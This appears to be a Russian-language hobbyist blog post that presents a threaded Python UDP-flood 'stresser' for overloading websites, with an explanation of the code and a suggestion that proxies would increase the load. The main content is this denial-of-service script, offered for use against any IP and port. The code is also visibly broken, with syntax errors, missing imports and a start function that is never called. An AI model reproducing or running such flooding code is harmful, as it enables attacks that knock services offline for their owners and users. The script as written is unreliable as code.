Pull to refresh

Эффективный UDP-стрессер на сокетах

Недавно я загорелся энтузиазмом, сделать что-то «грандиозное», как и следовало ожидать, большинство посоветовало мне сделать уроки, и тут я вспомнил, что изучал сокеты и мгновенно мне в голову пришла мысль написать стрессер сайтов. Оставим лишнюю информацию и наконец перейдём к разработке.

Теоретическая часть


Стрессер будет построен на UDP-запросах, а это значит что мы будем посылать короткие запросы большого объёма. Защититься от такой атаки довольно легко, достаточно ограничить кол-во обращений к портам.

Практика


От теории переходим к практике. Будем формировать массивные запросы состоящие 2048 символов.

import socket, random, threading
def start (ip port, threads):
 try:
  for x in range(threads):
   udp_thread = UDPThread()
   udp_thread.start()
   time.sleep(.1)
 except(KeyboardInterrupt):
   os.system('cls' if os.name == 'nt' else 'clear')

class UDPThread(threading.Thread):
 def run (self):
  data = random._urandom(2048)
  while True:
   sock = socket.socket(
   socket.AF_INET, socket.SOCK_DGRAM)
   sock.sendto(data, (ip, int(port)))
   print("Запущена атака на: {ip}:{port}".format(ip, port)

if __name__ == "__main__":
 ip = input("IP: ")
 port = input("Port: ")
 threads = input("Threads: ")

Давайте разберёмся в коде.

Ну тут думаю всё понятно, мы просто создаем потоки.

def start (ip port, threads):
 try:
  for x in range(threads):
   udp_thread = UDPThread()
   udp_thread.start()
   time.sleep(.1)
 except(KeyboardInterrupt):
   os.system('cls' if os.name == 'nt' else 'clear')

Используем модуль рандом, чтобы сгенерировать очень большой запрос.

data = random._urandom(2048)

С помощью сокетов, отправляем запросы на нужный IP-адрес и порт.

sock.sendto(data, (ip, int(port)))

Вывод


Как мы видем, написать стрессер не сложно, если использовать прокси, то запросов будет гораздо больше, соответственно и нагрузка выше.

Всем хорошего настроения и до свидания!
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.